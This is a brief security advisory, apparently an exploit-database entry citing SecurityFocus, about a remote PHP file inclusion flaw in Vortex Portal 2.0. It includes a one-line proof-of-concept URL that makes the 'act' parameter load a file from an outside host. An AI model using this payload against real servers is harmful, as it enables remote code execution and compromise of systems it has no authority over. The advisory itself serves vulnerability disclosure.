Vortex Portal 2.0 - 'index.php?act' Remote File Inclusion
source: https://www.securityfocus.com/bid/12878/info
Vortex Portal is reportedly affected by a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user supplied input.
It is conjectured this vulnerability affects the latest release of Vortex Portal, version 2.0.
http://www.example.com/index.php?act=http://www.example.com/file